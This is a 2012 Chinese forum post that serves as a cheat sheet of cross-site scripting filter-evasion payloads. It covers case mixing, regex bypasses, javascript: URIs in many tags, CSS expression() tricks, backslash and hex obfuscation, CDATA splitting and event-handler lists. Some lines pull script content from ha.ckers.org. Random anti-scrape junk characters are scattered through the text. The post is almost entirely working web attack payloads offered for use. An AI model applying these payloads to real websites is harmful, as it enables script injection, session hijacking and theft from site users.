找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写$ \# Q% h& j# Z4 K1 K2 R/ {3 e( O
: l4 m: Y' ?+ ]

) {# ?+ [' s6 j+ @. F3 i
  D5 o: N) T' [) @: b! n. m3 H    <sCript>alert(‘d’)</scRipT>
, N6 D, u" i6 A5 `
5 v6 d2 |3 F2 J- }2. 利用多加一些其它字符来规避Regular Expression的检查
# z0 I0 V/ t  s" i9 V6 r: v/ g4 a
    <<script>alert(‘c’)//<</script>
* ^1 S5 n9 F/ V  V
: x5 R' `" ~# C& |8 h& Q* q    <SCRIPT a=">" SRC="t.js"></SCRIPT>
7 E; b  J1 s  F+ a7 a; y
5 H: b$ I( t. M, K    <SCRIPT =">" SRC="t.js"></SCRIPT>* `8 {# J+ d  N2 ?# A) X' G
7 e! [& S* I% o- r6 a) \7 {
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>. w$ p/ B: w! x# ~; q

9 j, j5 B# G  d    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
( C- V+ o, m3 h  F- w
7 Z+ R9 C5 U5 p6 H+ A2 W6 E% v3 w    <SCRIPT a=`>` SRC="t.js"></SCRIPT>! p" y+ }: ]2 d0 p

' j( A9 t' J& L! q    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
6 C+ U, T7 q0 @+ ]9 ?
) I) q* D0 v& X2 N) B3. 以其它扩展名取代.js4 f9 Y& O7 p2 i3 |* r
. E( ~$ {, L; Z6 a+ T' i+ h
    <script src="bad.jpg"></script>
# j$ [7 |( ^# j* V3 B# R
/ L2 N, F, b* B+ V+ R6 W4. 将Javascript写在CSS档里
2 w' c4 S% q% D+ C$ v$ o. `+ f# r8 x. Z, @% D
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">  F! A' C  z8 i1 e4 {
" m8 y$ n& z% m4 m. i
       example:
7 B; @7 A' s4 S4 s! {* C  ^# F% L$ P) _6 {! w# Y$ v* m9 B
          body {/ |& P+ M1 Q, `* \! b: O& ?

# t% Q  ^# ]5 D7 ]3 |( w5 _               background-image: url(‘javascript:alert("XSS");’)& |2 r, z5 }5 U( X/ n
6 O/ D) B4 }9 E
          }
0 }  [( C; _6 a5 }7 r3 ~& a# }8 ^% b- c+ u( o7 H5 Q9 e4 U
5. 在script的tag里加入一些其它字符
1 f$ \; d* Z! s3 @# h( o  L3 a9 k' z
    <SCRIPT/SRC="t.js"></SCRIPT>7 Q( M7 Z9 d  ]+ C

9 w* D/ a+ Y$ ?# _5 F    <SCRIPT/anyword SRC="t.js"></SCRIPT>
0 `9 ]7 }: \8 r' S9 r% A; H# V0 x2 y  t2 c' ?( |# c
6. 使用tab或是new line来规避
/ o. P$ B* @& R$ I: ]7 L: z' x/ v; U: e* `; r( a2 w( W
    <img src="jav ascr ipt:alert(‘XSS3′)">
* E# P/ @: o+ C9 D% d
! Z" D# |+ T  c9 s% u! A    <img src="jav ascr ipt:alert(‘XSS3′)">
" N/ Y# |6 x0 j6 P5 _% n# N. t" i3 O9 @
    <IMG SRC="jav ascript:alert(‘XSS’);">
( c7 l7 Q% J6 X, {/ H6 x2 _6 Y$ d
         -> tag
" \5 N* ^& s1 q  Q3 x- R# U" l# I3 D* Y2 v9 K: `! G. D$ o7 T
         -> new line% B7 L; z; g: [1 f2 r
# Q8 _  ?8 X7 ~0 L) J" P$ {
7. 使用"\"来规避
% a4 H# x: ]" h. q1 |3 o9 q& ?# {$ Z2 |+ r. y4 Q; |+ z$ K
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
1 r7 G& i; O3 N# ^
# O5 G' w6 n1 ^5 s' o9 w    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
+ N' c9 F2 y- ~. @
  C4 @7 Z- h& e/ \6 w1 t6 t    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">* u7 y# x5 v, x" I' P" S

: t+ N4 p" |2 P  J& k/ u1 \, N    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
" Y) E% N2 K$ k! v4 E( ?5 l) A
6 N, O  G+ S9 Y- U% Y    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>, T' n# {. ^- ~4 u+ i' W2 N  Y

, x# F8 h. E( x7 M8. 使用Hex encode来规避(也可能会把";"拿掉)9 Y8 v- l) ^/ M/ ^+ F- t
  g/ y" ?" m% c$ C
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">& r+ v5 v8 F% f6 q! }9 f7 {1 Z

) l1 j+ u( p$ a' c  I- C" x9 S% h, p        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 D$ E8 f7 U, b) k8 ]. E

, k% {$ {9 `) L    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">, u* E, e( L$ x* Q$ a
/ v' ^3 }; U  ~4 i
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">8 ~+ O# a# H1 h+ J/ ?. ?: U! {3 Q6 Y" J
# G, b2 I  _; q. i5 ?, V0 y- o
9. script in HTML tag. H8 [; y+ G3 I- t7 c$ v) B- d5 E
9 K+ E* }' R7 V+ e2 H% U: D) o
    <body onload=」alert(‘onload’)」>$ K5 X/ {7 b' r7 a" l! s8 o

& X, m1 s# F0 |$ E, ?2 u        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload+ [( f9 q$ D5 j( ~) w$ J' i

& C! d% _' x8 m# j10. 在swf里含有xss的code
2 o  a$ I0 ~) M" K" b1 @' R0 ~3 ]$ y5 B
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
* o# _- @5 s0 x8 n. u; D% b) t( N" Q# T7 e5 L1 o
11. 利用CDATA将xss的code拆开,再组合起来。+ ^+ Q7 x4 q3 _! |
  ~# a1 c( i, p$ D- ?
    <XML ID=I><X><C>7 W3 H7 D+ [8 O" f3 Y

6 C5 d8 T8 d! h0 ~) t# ~    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>. S% Z0 E4 W: r7 X) u" H2 N
2 e$ e: q$ i+ m
    </C></X>
3 ?: t5 F* c1 k+ L( \) I4 l+ f' [. Q. m# y: d9 }* {" N( M
    </xml>' N2 O' Q' G0 h( [4 |- V
5 A- R+ W8 g/ @5 ~, r: Y3 r
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
9 `- L# M! P5 [$ {/ B% [
; M+ |4 K  E/ F# O    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
4 I8 u$ y' j* I  \; e/ P
) R. Z! T; T3 l6 z% C  x4 f    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
! [5 N) T+ A! E+ {8 A  f# W2 H/ J9 j+ [$ C7 R* v: G, o8 G
12. 利用HTML+TIME。
  D( E/ P( q/ |$ M4 C
% L. I3 l4 ^5 p7 A8 H5 I  s! G    <HTML><BODY>: i8 E" p) h& V
9 l6 t- `: c( X3 I
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">+ K5 }9 @% a( M, L: v5 r
5 K5 r, ?! u4 N
    <?import namespace="t" implementation="#default#time2">
# N$ A$ V7 `0 d. J
8 C3 j# g8 Z4 ?2 k1 Q* v5 ~6 m2 q4 \    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">4 J  X: J$ x: Q* i! N; `

% O( M7 R  n0 X. m2 Q    </BODY></HTML>
  y& |- x3 q5 a# k* e9 d5 C
- T/ g5 u) e) y  G1 S! j13. 透过META写入Cookie。. \6 x8 \+ u$ G6 _- T, G+ G+ s

! K! Y  V) f- Z& X) Q) d% z- O: @    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">8 H. v, c2 O, S, z
. F( |1 u+ i, J( |
14. javascript in src , href , url
$ o; K. m$ o, Z; V6 q% }( T* F* i
* g9 C# n, I& L    <IFRAME SRC=javascript:alert(’13′)></IFRAME>* @1 U& t* C) z2 _# o. F+ X6 G
7 A% _$ I$ ^5 \* \* y) |
    <img src="javascript:alert(‘XSS3′)">
* u+ S5 i7 M8 e( Q6 A9 O9 e- M( c9 `$ @) b% _  d7 \' K
<IMG DYNSRC="javascript:alert(‘XSS20′)">% D5 _( Q7 B4 M

9 R- X- ~4 ^. T6 T$ H    <IMG LOWSRC="javascript:alert(‘XSS21′)">
5 F" T+ x1 d/ G4 }) x  n9 A+ \. f$ \0 r+ g9 F  i
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
1 H9 p- C- a( M4 W7 ]" w  z! n: w* c3 j: o1 O' x' a
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
4 W7 B3 o( I- I5 _, P3 W
4 w2 m% O% u# M7 y* ~    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
1 f) n" l5 x# J. e4 h2 c; X9 M1 {% D! O! y& ?. n" ?
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
* v5 n9 A' ^' \: c2 s& [
0 [$ O+ |0 y) c3 ?* y    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
8 K+ f# Y1 V0 @4 s2 H: Z+ Q" H! t% N! z/ ^  F
    </STYLE><A CLASS=XSS></A>/ l; e# p' Q  x% c# j9 R* M
# d- y; E. x) o# e2 @
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>0 ?. v0 @& v4 h5 e0 Z# A* x  Q, r

2 g1 P% E  R3 D: C8 E0 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表